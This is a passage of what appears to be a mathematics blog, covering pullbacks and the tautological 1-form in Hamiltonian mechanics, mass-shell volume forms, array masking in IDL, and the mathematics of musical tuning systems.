has no inverse). The fact that the exterior derivative commutes with pullbacks also explains why it’s covectors that show up in integrals, thanks to the ‘change of variables’ formula $\int_V \eta = \int_{\Phi(V)} \Phi^{-1}(\eta).$ It also explains why it’s so easy to find the form of the metric in new coordinates, because the metric is a rank (0,2)-tensor, i.e. a sum of pairs of covectors, tensor-producted together: $g = g_{ij} dx^i \otimes dx^j,$ and we can just substitute for $dx^i$ in the new coordinates and we’re done! ## What’s the deal with tautological 1-forms? Epistemic status: All pretty standard derivations, except the last section on mechanics which is a bit hand-wavy. When formulating mechanics on cotangent bundles, one comes across an object called the ‘tautological 1-form’ (often denoted $\theta$) which is supposedly key to the whole process. Here I will attempt to describe what this 1-form is, why it is useful, and the role it plays in the fundamentals of classical mechanics. ## Pullbacks and Pushforwards First a word about smooth maps between manifolds, and the operations derived from them. Let $\mathcal{M}$ and $\mathcal{N}$ be smooth manifolds, and $\Phi : \mathcal{M} \longrightarrow \mathcal{N}$ be a smooth map, not necessarily invertible. Furthermore, let $f : \mathcal{N} \longrightarrow \mathbb{R}$ be a smooth function, let $X : \mathcal{M} \longrightarrow \mathcal{TM}$ be a vector field on $\mathcal{M}$, and let $\eta : \mathcal{N} \longrightarrow \mathcal{T^N}$ be a covector field on $\mathcal{N}$. We can use $\Phi$ to ‘pullback’ functions on $\mathcal{N}$ into functions on $\mathcal{M}$, like so: $\Phi f : \mathcal{M} \longrightarrow \mathbb{R}, \:\:\:\:\:\:\:\: (\Phi f)(x) = f(\Phi(x)),$ and taking advantage of that, we now have a way to ‘pushforward’ vector fields on $\mathcal{M}$ into vector fields on $\mathcal{N}$: $\Phi_ X : \mathcal{N} \longrightarrow \mathcal{TN}, \:\:\:\:\:\:\:\: \left.(\Phi_* X)(f)\right\|_{\Phi(p)} = \left.X(\Phi f)\right\|_{p}$ which then also gives a way to ‘pullback’ covector fields on $\mathcal{N}$ into covector fields on $\mathcal{M}$: $\Phi^\eta : \mathcal{M} \longrightarrow \mathcal{T^M}, \:\:\:\:\:\:\:\: \left.(\Phi^\eta)(X)\right\|_{p} = \left.\eta(\Phi_ X)\right\|_{\Phi(p)}.$ I have written a bunch of vertical “evaluate-here” bars for clarification. It is common to be rather casual about the difference between a vector (lives in $\mathcal{TM}$) and a vector field (a function $\mathcal{M} \longrightarrow \mathcal{TM}$), and similarly for covectors. Typically, the various kinds of product are evaluated pointwise, e.g. if $f, g, h$ are functions then $\left.fgh\right\|_x = f(x)g(x)h(x)$. ## The tautological 1-form itself Now let $\mathcal{Q}$ be a smooth manifold, and specialise the above discussion to the case $\mathcal{N} = \mathcal{Q}$, $\mathcal{M} = \mathcal{T^Q}$. Let $q$ be coordinates on $\mathcal{Q}$, and $(p,q)$ be coordinates on $\mathcal{T^Q}$; that is, points on $\mathcal{T^Q}$ are 1-forms associated to a particular point in $\mathcal{Q}$: $(p, q) \equiv \left.p_i dq^i\right\|_q$. Having these two equivalent ways to look at points on a cotangent bundle is an important point which we shall return to later. For the current purpose we will study the map $\pi : \mathcal{T^Q} \longrightarrow \mathcal{Q}, \:\:\:\:\:\:\:\: \pi(p, q) = q,$ that is, simply the projection map from $\mathcal{T^Q}$ ‘down’ to $\mathcal{Q}$ – it just tells us the point on $\mathcal{Q}$ that the covector was living at. Now for a mystical statement: the tautological 1-form is both the pullback $\pi^$ interpreted as a 1-form, and also has the coordinate expression $\theta = p_i dq^i$. How on earth can both these things be true, and besides, how can one ‘interpret a pullback as a 1-form’?! That last claim is actually not too bad: a map $\mathcal{T^Q} \longrightarrow \mathcal{Q}$ induces a pullback $\mathcal{T^Q} \longrightarrow \mathcal{T^T^Q}$, but this map has exactly the domain and range of a covector field on $\mathcal{T^Q}$! Of course, this requires swapping between the perspectives of $p$ as a coordinate on $\mathcal{T^Q}$ and $p$ as a 1-form in its own right. We can use $(\eta,p,q)$ for coordinates on $\mathcal{T^T^Q}$, equivalently writing $\eta = \eta^i dp_i + \eta_i dq^i$ where in a slight abuse of notation we’ve written $\eta^i$ for the first $n$ coordinates (the $dp$ components) and $\eta_i$ for the second $n$ coordinates (the $dq$ components). Now to investigate $\pi$ and its induced pullbacks and pushforwards. Let $f : \mathcal{Q} \longrightarrow \mathbb{R}$ be a function on $\mathcal{Q}$, and let $X : \mathcal{T^Q} \longrightarrow \mathcal{TT^Q}$ be a vector field on $\mathcal{T^Q}$, which in coordinates (using the same abuse of notation as before) we will write $X = X_i \partial_{p_i} + X^i \partial_{q^i}$. Recalling $\pi(p,q) = q$, the pushforward of $X$ under $\pi$ is then $\left.(\pi_ X)(f)\right\|_{\pi(p,q)} = \left.X(f(\pi(p,q)))\right\|_{(p,q)} \\ = \underbrace{\left.X_i \partial_{p_i}(f(q))\right\|_{(p,q)}}_{=0} + \left.X^i \partial_{q_i}(f(q))\right\|_{(p,q)},$ so the coordinates of our pushed-forward vector field on $\mathcal{TQ}$ are $(\pi_* X)^i = X^i$, i.e. just the $q$ components of $X$. Now we can look at how $\pi^$ acts on covector fields $\eta : \mathcal{Q} \longrightarrow \mathcal{T^Q}$ (in coordinates $\eta = \eta_i dq^i$): $\left.(\pi^* \eta)(X)\right\|_{(p,q)} = \left.\eta(\pi_* X)\right\|_{\pi(p,q)} \\ = \left.\eta_i dq^i\right\|_q \left(\left.X^j \partial_{q^j}\right\|_{(p,q)}\right) = \left.\eta_i\right\|_q\left.X^i\right\|_{(p,q)}.$ This means that the action of $\pi_$ is basically to place $\eta$ straight into $\mathcal{T^T^Q}$ unchanged, with all $dp$ components set to zero: $\pi^ : \mathcal{T^Q} \longrightarrow \mathcal{T^T^Q}, \\ \pi^ : (p,q) \longmapsto (p, p, q), \\ \left.\pi^\eta\right\|_{(p,q)} = \left.\eta_i\right\|_q \left.dq^i\right\|_{(p,q)}.$ And this is the source of the coordinate expression for $\pi^$ that I quoted above – it means that if we take $\pi^$ to be a covector field on $\mathcal{T^Q}$, denoted $\theta$, then $\left.\theta\right\|_{(p,q)} = \left.p_i\right\|_q \left.dq^i\right\|_{(p,q)},$ or $\theta = p_i dq^i$ for short. If you like you can think of the action of $\pi^$ as stripping off the $dq$ components that belong to $\mathcal{T^Q}$ and replacing them with $dq$ components that belong to $\mathcal{T^T^Q}$. ## How does it ‘cancel’ pullbacks? Now look at a general covector field $\alpha : \mathcal{Q} \longrightarrow \mathcal{T^Q}$. Treating $\alpha$ as a map (a similar trick to above) means it induces a pushforward $\alpha_ : \mathcal{TQ} \longrightarrow \mathcal{TT^Q}$ and a pullback $\alpha^ : \mathcal{T^T^Q} \longrightarrow \mathcal{T^Q}$. Let $F : \mathcal{T^Q} \longrightarrow \mathbb{R}$ be a function, and $Y : \mathcal{Q} \longrightarrow \mathcal{TQ}$ a vector field with coordinate expression $Y = Y^i \partial_{q^i}$, which is pushed-forward like so: $(\alpha_* Y)(F) = Y(\alpha F) = Y^i \partial_{q^i} (F(\alpha, q)) \\ = \underbrace{Y^i \frac{\partial F}{\partial p_j} \left. \frac{\partial p_j}{\partial q^i} \right\|_{p = \alpha}}_{=0} + Y^i \frac{\partial F}{\partial q_j} \left. \frac{\partial q_j}{\partial q^i} \right\|_{p = \alpha} = \left. Y^i \right\|_q \left. \partial_{q^i} F(p,q) \right\|_{(\alpha, q)}.$ We can use this to find how $\alpha^$ acts on covector fields $\beta : \mathcal{T^Q} \longrightarrow \mathcal{T^T^Q}$: $\left. (\alpha^* \beta)(Y) \right\|_q = \left. \beta(\alpha_* Y) \right\|_{(\alpha,q)} = \left. \beta_i \right\|_{(\alpha,q)} \left. Y^i \right\|_q.$ But what if we specialise to $\beta = \theta = p_i dq^i$, the interesting 1-form we were looking at above? We get $\left. \alpha^* \theta \right\|_q = \left. p_i dq^i \right\|_{(\alpha,q)} = \left. \alpha_i dq^i \right\|_q = \left. \alpha \right\|_q,$ which is exactly the 1-form $\alpha$ that we started off with! This is the reason that $\theta$ is said to ‘cancel’ a pullback, as it gives us back the 1-form that we were using to create the pullback in the first place. ## The basics of mechanics How does this all link into physics? For mechanics you need a symplectic manifold $\mathcal{M}$ along with an 2-form called $\omega$ that satisfies various properties; notably that $d\omega = 0$, so that at least locally we can find an $\alpha$ such that $d\alpha = \omega$. Abstractly, we want to find paths $\Gamma : \mathbb{R} \longrightarrow \mathcal{M}$ such that the action integral $I$ is minimised: $I(\Gamma) \equiv \int_\Gamma \alpha.$ Now, there are various ways to come up with symplectic manifolds, but the relevant one for physicists is ‘phase space’, i.e. $\mathcal{M} = \mathcal{T^Q}$, the cotangent bundle of some manifold $\mathcal{Q}$ (where we think of $\mathcal{Q}$ as being the ‘real’ physical space that we see around us, perhaps 4D space-time or similar). And it turns out that the logical choice of $\omega$ is to take $\omega \equiv -d\theta$ (the minus sign being a mere convention) where $\theta = p_i dq^i$. Thanks to the discussion above we now know exactly what this object is (spoiler: it’s the tautological 1-form!). Traditionally a physicist would have something called an action functional $S$ that takes curves $\gamma : \mathbb{R} \longrightarrow \mathcal{Q}$ and gives a real number, and they would then find the curve $\gamma$ that minimises that number ($S$ is called a functional because it also depends on the first derivatives of $\gamma$). By parametrising $\gamma$ by the time coordinate the normal Euler-Lagrange equations are derived. However, we wish to stay agnostic about which coordinate represents time! So we will keep our paths parametrised by arc length, i.e. $\gamma : [0,1] \longrightarrow \mathcal{Q}$. Let $\gamma_q$ be a class of curves in $\mathcal{Q}$ parametrised by arc length with fixed starting point $\gamma_q(0) = q_0$ and ending point $\gamma_q(1) = q$. Now define $W(q) \equiv S[\gamma_q] + W_0$ for some constant $W_0 \equiv W(q_0)$, where $\gamma_q$ is defined to be the curve with endpoints $(q_0,q)$ that minimises $S[\gamma_q]$. This function $W : \mathcal{Q} \longrightarrow \mathbb{R}$ is called Hamilton’s principal function, and note that it depends only on positions, and not the momenta! We now calculate $S[\gamma_q] = W(q) - W(q_0) \\ \:\:\:\: = \int_{\partial \gamma_q} W \\ \ \:\:\:\: = \int_{\gamma_q} dW \:\:\:\:\:\:\:\: (1) \\ \ \:\:\:\: = \int_{\gamma_q} (dW)^ \theta \:\:\:\:\:\:\:\: (2) \\ \ \:\:\:\: = \int_{dW(\gamma_q)} \theta \:\:\:\:\:\:\:\: (3) \\ \ \:\:\:\: = \int_\Gamma \theta.$ The numbering refers to the following results: 1. Generalised Stokes’ theorem. Here the ‘boundary’ of $\gamma_q$ is just its two endpoints. 2. The ‘cancelling’ property described above: $\eta^(\theta) = \eta$ 3. A standard property of integrals of pullbacks: $\int_U \Phi^(\eta) = \int_{\Phi(U)} \eta$ So we see that the process of minimising $S$ is just a special case of the general theory of minimisation problems on symplectic manifolds. To lift the path $\gamma$ from $\mathcal{Q}$ to the symplectic phase space $\mathcal{T^Q}$, we used the 1-form $dW$ as a pullback, similarly to the trick we pulled above with $\pi^$. That means that the momenta along $\gamma$ are $p_i = \frac{\partial W}{\partial q^i}.$ Ignoring any details of the expression for the action $S$, how do we derive a more familiar set of differential equations that determine $\gamma$? We can pick out one of the coordinates, say $q^0$, and call it time $t$, and similarly one of the momenta, say $p_0$, and call it energy $-H$ (again, minus sign by convention), so that $H = -\frac{\partial W}{\partial t}.$ Our aim is to eliminate $W$ in favour of the other coordinates (we will still write $q^i$ and $p_i$ for the other (n-1) coordinates). Recall that $d^2W = 0$ by the definition of the exterior derivative, so we can immediately write down the first of Hamilton’s equations: $\frac{\partial}{\partial t}\left(\frac{\partial W}{\partial q^i}\right) = \frac{\partial}{\partial q^i}\left(\frac{\partial W}{\partial t}\right) \\ \frac{\partial p_i}{\partial t} = -\frac{\partial H}{\partial q^i}.$ And since subtracting a total differential from $dW$ retains the $d^2 = 0$ property, we can define a quantity that gives us the second of Hamilton’s equations: $dA \equiv dW - d(p_iq^i) \\ \frac{\partial}{\partial t}\left(\frac{\partial A}{\partial p_i}\right) = \frac{\partial}{\partial p_i}\left(\frac{\partial A}{\partial t}\right) \\ \frac{\partial q_i}{\partial t} = \frac{\partial H}{\partial p_i}.$ Note that we now have explicitly $\theta = p_i dq^i - Hdt \\ \omega = dq^i \wedge dp_i - dt \wedge dH$ for our symplectic structure, and we ended up with the familiar Hamilton’s equations $\frac{\partial p_i}{\partial t} = -\frac{\partial H}{\partial q^i} \\ \frac{\partial q_i}{\partial t} = \frac{\partial H}{\partial p_i}.$ And so, as if by magic, we’ve recovered the traditional formalism of Hamiltonian mechanics as a special case of minimisation procedures on symplectic manifolds. Of course, we didn’t have to use the 0th coordinate to represent time/energy. Really, time and position are distinguished from each other by the form of the Lorentzian metric, which has not yet entered into our method. It’s true that non-relativistic mechanics will inevitably privilege a time variable; but, the action for a free relativistic point particle is nicely Lorentz-invariant: $S[\gamma] = \int_\gamma \left.g(X,X)\right\|_{\gamma(s)}ds$ where $s$ is arc length, $g$ the metric, and $X$ the 4-vector tangent to $\gamma$. This blog post was inspired by • John Baez’s two posts on parallels between thermodynamics and mechanics • The fact that the Wikipedia page on the tautological 1-form is so abstruse You may also be interested in • A 1-page summary of ‘Abstract Hamiltonian mehanics’, which describes an approach which is agnostic about time coordinates (it does not discuss minimisation procedures though) • An article on how to do geometric Hamilton-Jacobi mechanics properly. It’s possible to derive a single nonlinear differential equation for $W$ (called the ‘Hamilton-Jacobi equation’) which depends explicitly on the time coordinate and the Hamiltonian $H$. The associated time-agnostic (‘non-autonomous’) method is fairly difficult, and this article discusses all the details. ## Volume forms on the mass-shell The setting for dynamics is the cotangent bundle $\mathcal{T}^\mathcal{M}$ of a manifold $\mathcal{M}$ with pseudo-Riemannian metric $g_{\mu\nu}$; relevant observables can be functions of both position and momentum. For example, the distribution function $f(x,p)$, which is the number density of particles in phase space ($x^\mu$ and $p^\mu$ are coordinates on $\mathcal{M}$ and $\mathcal{T}^_x\mathcal{M}$ respectively). The spatial volume form (integral measure) is $\mathrm{vol}(\mathcal{N}) \equiv \sqrt{g(x)} dx^1 \wedge \ldots \wedge dx^n$, where $g(x)$ is the determinant of the metric evaluated at $x \in M$; and the volume form for the full phase space is $dx^1 \wedge \ldots \wedge dx^n \wedge dp_1 \wedge \ldots \wedge dp_n$. If we want to integrate out the momentum-dependence of some observable, we need just the momentum-part of the volume form. From the two expressions above we can see that this is $\mathrm{vol}(\mathcal{T}^_x\mathcal{M}) = \frac{1}{\sqrt{g(x)}} dp^1 \wedge \ldots \wedge dp^n$. However, paths that obey the classical equations of motion are constrained to lie on the mass-shell: in flat Lorentzian spacetime this is a hyperboloid in the momentum cotangent space $\left(\mathbb{R}^{1,3}\right)^$, given by $-p_0^2 + p_i^2 = -m^2$, where $p_0$ is the energy, $p_i$ the spatial 3-momentum and m the rest mass of a particular particle. However, in fully general curved spacetime the corresponding condition gives a hypersurface $\mathcal{N} \equiv \{(x,p) \in \mathcal{T}^\mathcal{M} \: \| \: p^\mu p_\mu = -m^2 \}$. Because the permitted region of phase space has been restricted, we can eliminate one momentum component from the integral, treating it as a function of the other coordinates. Conventionally we pick $p_0$ to be this unwanted component, writing $p_0 = p_0(p_i)$, and note that the equation for $\mathcal{N}$ can be written $p_\mu p^\mu = p_0 p^0 + p_i p^i = -m^2$, which allows us to solve for $p_0$. We then find the volume form induced on $\mathcal{N}$. Let $n$ be the unit vector field normal to $\mathcal{N}$: $n = \left.\frac{d(p_\mu p^\mu)}{\left\\|d(p_\mu p^\mu)\right\\|}\right\|_\mathcal{N}$ The denominator works out to be $-4m^2$. Noting that the metric is a function of $x$ alone, we perform the derivative on the numerator and so find that $n = \frac{2p_\mu dp^\mu}{-4m^2} = \frac{-p_\mu dp^\mu}{2m^2}$ (the normal index convention for vectors and covectors is swapped round, as we are working on $\mathcal{T}^\mathcal{M}$, so the coordinates $p_\mu$ are covariant to begin with). In general, the volume form induced from a manifold $\mathcal{M}$ onto a submanifold $\mathcal{N}$ with normal VF $n$ is $\mathrm{vol}(\mathcal{N}) = \left. n \:\lrcorner\: \mathrm{vol}(\mathcal{M}) \right\|_\mathcal{N}.$ For the present purposes we therefore have $\sqrt{g(x)} \mathrm{vol}(\mathcal{N}) = n \:\lrcorner\: \left( dp_0 \wedge dp_1 \wedge dp_2 \wedge dp_3 \right) \\ \:\: = (n \:\lrcorner\: dp_0) dp_1 \wedge dp_2 \wedge dp_3 - (n \:\lrcorner\: dp_1) dp_0 \wedge dp_2 \wedge dp_3 \\ \:\:\:\:\:\: + (n \:\lrcorner\: dp_2) dp_0 \wedge dp_1 \wedge dp_3 - (n \:\lrcorner\: dp_3) dp_0 \wedge dp_1 \wedge dp_2$ We differentiate the condition $p^\mu p_\mu = -m^2$ with respect to a spatial component $p_i$ and rearrange, giving (note the positions of the indices): $\frac{\partial p_0}{\partial p_i} = \frac{-p^i}{p^0} \\ dp_0 = \frac{\partial p_0}{\partial p_i}dp_i = \frac{-p^i}{p^0}dp_i.$ Expressions of the form $dp_0 \wedge dp_i \wedge dp_j$ can be simplified to involve only the $k$-component of $dp_0$ ( $i \neq k \neq j$ ), as repetition of a form in a wedge product sets the entire expression to zero. We also have $n \:\lrcorner\: dp_\mu = n_\mu = \frac{-p_\mu}{2m^2}$. So, putting it all together, $\sqrt{g(x)} \mathrm{vol}(\mathcal{N}) = \\ \:\: \left( \frac{-p_0}{2m^2} \right) dp_1 \wedge dp_2 \wedge dp_3 - \left( \frac{-p_1}{2m^2} \frac{-p^1}{p^0} \right) dp_1 \wedge dp_2 \wedge dp_3 \\ \:\:\:\:\:\: + \left( \frac{-p_2}{2m^2} \frac{-p^2}{p^0} \right) dp_2 \wedge dp_1 \wedge dp_3 - \left( \frac{-p_3}{2m^2} \frac{-p^3}{p^0} \right) dp_3 \wedge dp_1 \wedge dp_2 \\ \:\: = \frac{-1}{2 m^2 p^0}\left(p_0p^0 + p_ip^i\right) dp_1 \wedge dp_2 \wedge dp_3 \\ \:\: = \frac{-(-m^2)}{2 m^2 p^0} dp_1 \wedge dp_2 \wedge dp_3$ And so the final result is $\mathrm{vol}(\mathcal{N}) = \frac{dp_1 \wedge dp_2 \wedge dp_3}{2 p^0 \sqrt{g(x)}} \\$ which has the expected form. Integrals over momentum space therefore look like $\int_\mathcal{N} f(p_i) \frac{dp_1 \wedge dp_2 \wedge dp_3}{2 E(p_i) \sqrt{g(x)}}.$ Everything we wrote down was manifestly covariant, so this volume form transforms in the correct way under general coordinate transformations. The rest mass $m$ does not appear in the final volume form, so we are free to set $m = 0$ if we choose, as is the case with photons. Let’s say you have an array $P$, containing $N$ (~millions) points $P_i \in \mathbb{R}^3$. Perhaps it’s the output of an n-body simulation or something more complicated. Anyway, suppose you also have several other arrays of size $N$, each listing some quantity that is associated with each point $P_i$ – for example $M_i$, the mass at each point. The task: find some small contiguous region $\Omega \subset \mathbb{R}^3$, and calculate some function at every point within it. For example, approximate the integral of the density by summing over the mass at each point: $\displaystyle \int_{\Omega} \rho(x) d^3x \approx \sum_{P_i \in \Omega} M_i$ Let us introduce an operation $A \star B = C$, where $\|A\| = \|B\|$, $B$ contains only zeroes or ones, and $C$ contains $A_i$ iff $B_i = 1$; also $\|C\| \leq \|A\|$, but $C$ maintains the order of elements from $A$. Assume that this operation can be calculated efficiently (in parallel), as opposed to sequentially traversing the elements of an array, which is much slower (this is the case in the IDL programming language, for example). The solution to the problem at hand is to produce a mask $S$ containing $N$ elements with values the characteristic function $\chi_\Omega$ at each point – that is, $S_i = \chi_\Omega(P_i) = 1$ if $P_i \in \Omega$ and $0$ otherwise. Then the final calculation is $\displaystyle \sum_{P_i \in \Omega} M_i = \sum_i \left(M \star S\right)_i$ and the advantage is that we can reuse the mask $S$ for additional calculations. Now suppose that $\Omega$ is itself a very large set, and that we have another, smaller region $\Omega' \subset \Omega$ on which we would also like to perform calculations. Let $P' = P \star S$ and $S' = \chi_{\Omega'}(P')$. Then we can compose our masks to find the $M$ values that lie within $\Omega'$. $\displaystyle \sum_{P_i \in \Omega'} M_i = \sum_i \left((M \star S) \star S'\right)_i.$ What are the $P$-indices of points that are in the region $\Omega'$? To find the answer we do: $\displaystyle A = [0,1,2,\ldots,\|S\|] \\ B = (A \star S) \star S'$ and $B$ now contains the desired $P$-indices. In the IDL programming language, $A = B \star C$ is written as A = B[where(C)] A more general (and also efficient) way of dealing with large, unstructured lists of coordinates is to use an oct-tree. ## From notated music to audible sounds This is the second post in a series devoted to music from a mathematical point of view. The first post dealt with written intervals and notes; the moral of that post was that there is some structure (a vector space) hidden inside the way we talk about intervals and notes, which we can (and should) take advantage of. In this post, I will make the transition from notated music to audible noises, still in a way that is aimed at my hypothetical musically-ignorant mathematician. ## Revision of previous ideas Notated intervals form a two-dimensional vector space. Pitches form a two-dimensional affine space, with intervals as the ‘difference’ vectors. See the previous post for details. I take audible sounds to be the space of frequencies as measured in units of hertz (cycles per second). However, what we’re really interested in are the ratios between these frequencies. The absolute values only come into play when we choose an arbitrary reference point off which to base all our absolute pitches. (Choosing a reference point is different from using a non-standard tuning system – you can have equal temperament, but at Baroque pitch (A = 415), for example). Pitch ratios are, of course, combined by multiplication, but we can still write the operation as addition provided we understand that they are being `added’ in log-space: $f_1 = f_2f_3 \:\:\: \Longleftrightarrow \:\:\: \log{f_1} = \log{f_2} + \log{f_3}.$ In practice, these interval ratios will always be formed by taking rational numbers to rational powers. ## Constraints on a tuning system Different musical instruments are suited to different methods of tuning notes. For example, the human voice can trivially produce pitches at any frequency in a certain range – and the same for string instruments. Wind instruments have a fixed number of ‘holes’, plus some standardised ways of shifting the basic pitches around. Brass instruments are even more restricted, and the notes they can play are closely related to the harmonic series. Keyboard instruments are a somewhat different beast – in theory you could associate a button/key with any note imaginable, but due to practical limitations a one-dimensional array of keys is used. This obviously causes issues when we try to match up a notation system based on a two-dimensional system of intervals to the keys available. Therefore we’ll need to come up with some way of reducing (“projecting”) our two dimensions down to a single dimension. This is the Fundamental Keyboard Problem. ## Intervals with rational coefficients When defining a tuning system, what is typically given are particular ratios for certain intervals. Suppose we have a tuning system $t : \mathcal{I} \longrightarrow \mathbb{R}$, i.e. a map that takes intervals to pitch ratios. We fix two intervals, $t(i_1) = f_1$ and $t(i_2) = f_2$. Assuming it is not the case that $i_1 \propto i_2$, these two intervals span $\mathcal{I}$, so $t(i)$ is now fixed for all $i \in \mathcal{I}$. This is because any $i \in \mathcal{I}$ can be written in the $i_1, i_2$ basis, $i = \alpha\cdot i_1 + \beta\cdot i_2$ and hence $t(i) = \alpha\cdot t(i_1) + \beta\cdot t(i_2) \equiv f_1^\alpha f_2^\beta$ Many well-known tuning systems can be specified this way. They are called syntonic tuning systems, or rank-2 tuning systems. However, in practice there is only one interval ratio that is free to be specified arbitrarily, because the other fixed interval is always $t(\mathsf{P8}) = 2$, otherwise octaves aren’t pure! This gives rise to the main problem: two non-octave intervals can’t be simultaneously pure. This is distinct from the problem of designing keyboard instruments. The diatonic scale of Ptolemy specifies pure intervals for all eight steps of the major scale: degree ratio P1 1 M2 9/8 M3 5/4 P4 4/3 P5 3/2 M6 5/3 M7 15/8 P8 2 (There exist numerous slight variations of the Ptolemaic scale, as well as the minor scale etc.) With a syntonic temperament, we can only get a few of these ‘correct’, unless we happen to get lucky with our ratios. P1 and P8 are correct by definition; then $i$ (e.g. P5) can be specified freely; then, perhaps $\mathsf{P8} - i$ (e.g. P4) will come out correct too. After that you’re out of luck. ## Syntonic tuning systems In Pythagorean tuning, the given intervals are $3/2$ for the perfect fifth, and $2$ for the octave. As indicated above, this completely specifies the tuning. The procedure for general intervals is then as follows: • Define a map $t : \mathcal{I} \longrightarrow \mathbb{R}$ that takes intervals to pitch ratios, and define it for the two chosen basis intervals, e.g. $t(\mathsf{P5}) = \frac{3}{2}\\ t(\mathsf{P8}) = 2$ • Write your chosen interval in terms of the new basis and calculate the appropriate ratio, e.g. $\mathsf{M6} = 3\cdot \mathsf{P5} - 1\cdot\mathsf{P8} \\ t(\mathsf{M6}) = \left(\frac{3}{2}\right)^3 \left(2\right)^{-1} = \frac{27}{16}$ • Then, for notes, define a new map $T : \mathcal{P} \longrightarrow \mathbb{R}$ • Fix the origin under $T$, i.e. $T(p_0) = f_0$ for some note $p_0$ and pitch $f_0$; the common choice is $p_0 = \mathsf{A}$, and $f_0 = 440\:\mathrm{Hz}$ • Extend $T$ to all notes by $T(p) = t(p - p_0)\times T(p_0)$ For example, $T(\mathsf{F\sharp}) = t(\mathsf{M6}) \times T(\mathsf{A}) = \frac{27}{16} \times 440\:\mathrm{Hz} = 742.5\:\mathrm{Hz}$ Here is a table of some common syntonic tuning systems, in each case assuming that the second constrained interval is $\mathsf{P8} \longrightarrow 2$: Tuning system Fixed interval Pythagorean $\mathsf{P5} \longrightarrow \frac{2}{3}$ Quarter-comma meantone $\mathsf{M3} \longrightarrow \frac{5}{4}$ Sixth-comma meantone $\mathsf{A4} \longrightarrow \frac{45}{32}$ Third-comma meantone $\mathsf{m3} \longrightarrow \frac{6}{5}$ Schismatic $8\cdot\mathsf{P4} \longrightarrow 10$ Note that we quickly enter the realm of irrational numbers: for example, under quarter-comma meantone, $\mathsf{P5} \longrightarrow \left(\frac{5}{4}\right)^\frac{1}{4}\left(2\right)^\frac{1}{2} \approx 1.495$. You can immediately see that different tuning systems give different trades-off: quarter-comma meantone provides you with sweet-sounding (and narrow) major thirds, while abandoning the pure fifths of Pythagorean tuning. There is a link here between theory and practice: in Medieval music, for which Pythagorean tuning was used, phrase-endings rarely feature major thirds – normally open fifths and octaves are the only intervals considered ‘pure’ enough to end a phrase. In Renaissance and Baroque music, major thirds are used much more often, and this coincides with the use of quarter-comma meantone tuning. ## Keyboard instruments with syntonic temperaments Let us design a keyboard that will use notes from a syntonic temperament $t : \mathcal{I} \longrightarrow \mathbb{R}$ (with fixed interval $i$, origin note $b$, and note-mapping $T : \mathcal{P} \longrightarrow \mathbb{R}$ ); we know that octaves will be pure, so we make our one-dimensional keyboard periodic at the octave, and then place $n$ keys in each octave. Each key (attached to a physical string or pipe) will be tuned to some definite frequency $f \in \{T(p) \: \| \: p \in \mathcal{P} \}$. Now we’ll attempt to distribute notes from our temperament to the physical keys on the keyboard. Starting at note $b$ (with frequency $T(b)$ ), assign the notes $(b\pm k\cdot i) \: \mathrm{mod} \: \mathsf{P8}$ to their keys (with frequencies $T\left((b\pm k\cdot i) \: \mathrm{mod} \: \mathsf{P8}\right)$ ), ending at $k = n$ ($\pm 1$ depending on whether $n$ is odd or even). Unfortunately in general the cycle is not closed, as $\left(n\cdot i \: \mathrm{mod} \: \mathsf{P8}\right) \neq \mathsf{P1}$. This is called a wolf interval, and its existence limits the usefulness of syntonic tuning systems for keyboards. To minimise disruption, the wolf interval is normally chosen to be one that is little used if playing in keys with a low number of sharps and flats; for example $\mathsf{G\sharp} - \mathsf{E\flat} = \mathsf{A3}$: under Pythagorean tuning, the A3 is about $1.35$, to contrast with the pure P4 which is exactly $\frac{4}{3}$. ## Keyboard instruments with equal temperaments Returning to the Fundamental Keyboard Problem, we see that the solution is to project the two dimensions of notated intervals down to a one-dimensional subspace. This necessarily involves one interval being set to zero (or to one, multiplicatively speaking). Our search therefore is effectively for syntonic tuning systems where the fixed ratios are $\mathsf{P8} \longrightarrow 2$ and $i \longrightarrow 1$ for some interval $i$. Before we know what $i$ is, can we say what such a tuning system would look like? Well, if we pick an interval $j \in \mathcal{I}, j \neq i$, and use $i, j$ as our new basis, then because $i \longrightarrow 1$, we can generate all intervals with $\alpha\cdot j$ for some rational $\alpha$. Furthermore, we can pick $j$ carefully so that all intervals can actually be represented by $\alpha\cdot j$ for integral $\alpha$. Then we can use $j$ as a convenient “unit” with which to construct our notation system or keyboard. If $\mathsf{P8} = n\cdot j$, then the tuning system is called $n$-equal temperament. A bit of experimentation (or suitably clever calculation) results in some promising-looking candidates for $i$: $i$ $j$ $n$ $\mathsf{A1}$ $\mathsf{M2}$ 7 $\mathsf{d2}$ $\mathsf{A1}, \mathsf{m2}$ 12 $\mathsf{dd2}$ $\mathsf{d2}$ 19 $\mathsf{d^4 3}$ $\mathsf{d2}$ 31 $\mathsf{d^7 6}$ $\mathsf{d2}$ 53 (The $j$ interval is non-unique, as various intervals become identified under equal temperaments.) As you may have guessed already, the favourite choice here is $n = 12$ and $i = \mathsf{d2} \longrightarrow 1$. This means that $\mathsf{A1} \longrightarrow 2^\frac{1}{12}$, and $\mathsf{m2} \longrightarrow 2^\frac{1}{12}$. So A1 and m2 are identified, and are used as the generator $j$. They are referred to interchangeably as a “semitone”. The other useful property of 12-equal temperament is that $\mathsf{P5} \longrightarrow 2^\frac{7}{12} \approx 1.498$, which is extremely close to the Pythagorean value! Thus the use of 12-equal temperament to resolve the Fundamental Keyboard Problem leads directly to keyboards with 12 keys per octave; seven “white” notes ${\mathsf{A},\mathsf{B},\mathsf{C},\mathsf{D},\mathsf{E},\mathsf{F},\mathsf{G}}$, and five “black” notes ${\mathsf{A\sharp},\mathsf{C\sharp},\mathsf{D\sharp},\mathsf{F\sharp},\mathsf{G\sharp}}$. There are no more notes to account for, because the equivalency of A1 and m2 means that notes that differ by these intervals are identified, e.g. $\mathsf{B\sharp} \equiv \mathsf{C}$ and $\mathsf{F\sharp} \equiv \mathsf{G\flat}$. Twelve notes per octave is also fairly convenient given the size of human hands, and how difficult the resulting instrument is to play. ## Other instruments Consider an ensemble of dynamically-tunable instruments (string instruments, human voices, etc.). If this ensemble plays a major chord, there’s no reason why the players can’t all agree to tune it totally purely – with ratios of $1, \frac{5}{4}, \frac{3}{2}$. As a general strategy, the ensemble could choose to fix just a few notes overall, and then tweak any chord slightly to maximise harmonicity. Or, locally fix any note that is constant between successive chords, and change all the other notes around it. These systems of constant readjustment have one big advantage – much nicer-sounding intervals – and several major annoyances, which are: • There’s no longer an unambiguous mapping between written notes and sounding frequencies. This may or may not offend you greatly, depending on how you axiomatise musical notation (you can probably guess my position…) • A tendency for the pitch of the entire ensemble to drift over time (particularly with the second system). • Cannot include certain instruments in the 